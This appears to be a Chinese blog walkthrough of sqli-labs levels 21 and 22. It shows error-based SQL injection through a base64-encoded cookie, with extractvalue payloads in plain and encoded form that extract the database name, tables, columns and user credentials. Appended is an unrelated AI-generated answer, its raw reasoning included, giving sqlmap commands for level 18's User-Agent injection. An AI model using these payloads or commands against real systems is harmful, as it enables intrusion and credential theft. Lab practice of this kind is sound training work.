sqli-labs第二十一/二十二关——POST-base64

一:判断注入类型

先像前几关一样输入一组账户名和密码进行测试,得到如下回显

我们可以判断出来这一关还是在cookie上注入,把cookie的数据与前一关作对比

发现uname后面的参数被加密了,下面介绍一下

base64编码

1.概念:将二进制数据用64个可打印字符(A-Z,a-z,0-9,+,/)表示出来

 2.特征:等号(=)是填充字符,用于确保编码后的字符串长度是4的倍数

PS:‘=’ 在url解码之前是%3D

所以我们观察这一段参数:长度为4的倍数,并且以等号(%3D)补齐,所以高度怀疑是base64编码

base64在线加密解密(编码解码)encode、decode – 白盒子

尝试解码,结果和我们想的一样

所以我们用base64加密之后的代码来注入,在bp抓包的cookie里面改动是可以直接选中转换代码

快捷键ctrl-B

Cookie: uname=admin'——————YWRtaW4n
Cookie: uname=admin——————YWRtaW4=
Cookie: uname=admin"——————YWRtaW4i
Cookie: uname=admin')—————YWRtaW4nKQ==
Cookie: uname=admin")——————YWRtaW4iKQ==

只有‘)回显我们想要的报错(后者),尝试闭合 

闭合成功,判断正确,仍然尝试报错注入

二:开始注入

1.爆数据库名

Cookie: uname=MScpIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChkYXRhYmFzZSgpKSkpIw==
——————
Cookie: uname=1') or extractvalue(1,concat(0x7e,(database())))#

2.爆表名

Cookie: uname=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))#
——————
Cookie: uname=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))#

3.爆列名

Cookie: uname=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))#
——————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSlmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSkj

4.爆数据

首先判断列数

Cookie: uname=1') and extractvalue(1,concat(0x7e,(select count(*) from users)))#
——————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvdW50KCopIGZyb20gdXNlcnMpKSkj

仍然分两次得到数据

Cookie: uname=1') and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),1,32)))#
——————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwgc3Vic3RyaW5nKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4M2EscGFzc3dvcmQpIGZyb20gdXNlcnMpLDEsMzIpKSkj


Cookie: uname=1') and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),32,32)))#
———————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwgc3Vic3RyaW5nKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4M2EscGFzc3dvcmQpIGZyb20gdXNlcnMpLDMyLDMyKSkpIw==

 

ps:22将闭合方式改为双引号“即可 

 ❀❀❀  完结撒花!!!❀❀❀

 

<think>好的,我现在需要帮助用户解决SQLi-Labs靶场第18使用sqlmap进行SQL注入的问题。首先,我得回顾一下用户提供的引用内容,特别是引用[5],里面提到了第18的解决方法。用户可能已经看过这个引用,但可能还需要更详细的步骤指导。 首先,我需要确认第18的具体情况。根据引用[5],第18是一个POST请求的注入点,涉及User-Agent头部的注入。用户需要使用sqlmap工具,并且需要先通过Burp Suite抓取数据包,保存为txt文件,然后在User-Agent字段中标记注入点。接着,使用sqlmap的-r参数指定数据包文件,并利用--current-db等参数获取数据库信息。 接下来,我需要将这个过程分解成清晰的步骤,确保用户能够一步步跟随。可能需要包括安装Burp Suite、配置代理、抓取数据包、保存文件、运行sqlmap命令等步骤。同时,用户可能需要知道如何设置代理,比如在浏览器中配置Burp Suite的监听地址和端口,以及如何处理HTTPS流量,如果需要的话。 另外,用户可能对sqlmap命令的参数不太熟悉,比如--tamper或--level等,需要解释这些参数的作用。例如,--level 2会增加测试的等级,覆盖更多的注入点。而--tamper可能在某些情况下需要,但根据引用[5],第18不需要tamper脚本,所以可能不需要用到这个参数。 还要注意用户可能遇到的常见问题,比如数据包保存的格式是否正确,User-Agent是否正确地标记了星号*,以及如何验证注入是否成功。例如,用户可能需要检查sqlmap的输出,确认是否成功获取到数据库名或其他信息。 另外,引用中提到第18的闭合方式是单引号',这可能意味着注入点是在User-Agent字段中使用单引号闭合的。因此,在构造payload时,sqlmap会自动处理这种闭合方式,用户不需要手动指定,但了解这一点有助于调试问题。 最后,用户可能需要一些额外的提示,比如如何提升注入的成功率,或者如何处理可能的WAF(Web应用防火墙)拦截。例如,使用--delay参数来减缓请求速度,避免被检测到,或者使用代理来隐藏流量。 总结来说,回答需要结构清晰,分步骤指导用户从抓包到运行sqlmap命令,解释键参数,并提供注意事项和常见问题解决方法,确保用户能够顺利通过第18。</think>### SQLi-Labs 第18sqlmap注入解决方案 根据引用[5]的描述,第18属于HTTP头部User-Agent字段的POST请求注入,需通过以下步骤实现自动化注入: **步骤1:准备环境** 1. 安装Burp Suite并配置浏览器代理(默认监听127.0.0.1:8080) 2. 访问第18页面`http://[靶机IP]/sqli-labs/Less-18/`,触发正常请求 **步骤2:抓取数据包** 1. 在Burp Suite的Proxy模块拦截HTTP请求 2. 在请求头中找到User-Agent字段,在值末尾添加`*`标记注入点 ```http User-Agent: Mozilla/5.0* # 添加*作为注入标识 ``` 3. 将完整请求包保存为`less18.txt` **步骤3:执行sqlmap命令** ```bash python sqlmap.py -r less18.txt --current-db --batch ``` - `-r`:指定包含HTTP请求的文件 - `--current-db`:获取当前数据库- `--batch`:自动选择默认选项 **步骤4:进阶利用** ```bash # 获取所有数据库 python sqlmap.py -r less18.txt --dbs --level=2 # 获取指定数据库表 python sqlmap.py -r less18.txt -D security --tables # 获取字段数据 python sqlmap.py -r less18.txt -D security -T users --dump ``` **键参数说明**: - `--level=2`:增加检测强度(默认检测范围不包括HTTP头部) - `--risk=3`:启用高风险测试模式(需谨慎使用) - `--tamper`:本不需要编码脚本,但复杂场景可配合`base64encode`等脚本[^3] **注意事项**: 1. 确保靶场环境配置正确,User-Agent字段存在注入漏洞 2. 若遇到过滤规则,可尝试`--tamper=space2comment`等绕过脚本 3. 数据包中的`*`必须紧接在User-Agent值之后,如:`User-Agent: payload*` 4. 推荐配合`--flush-session`参数避免缓存影响测试结果
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值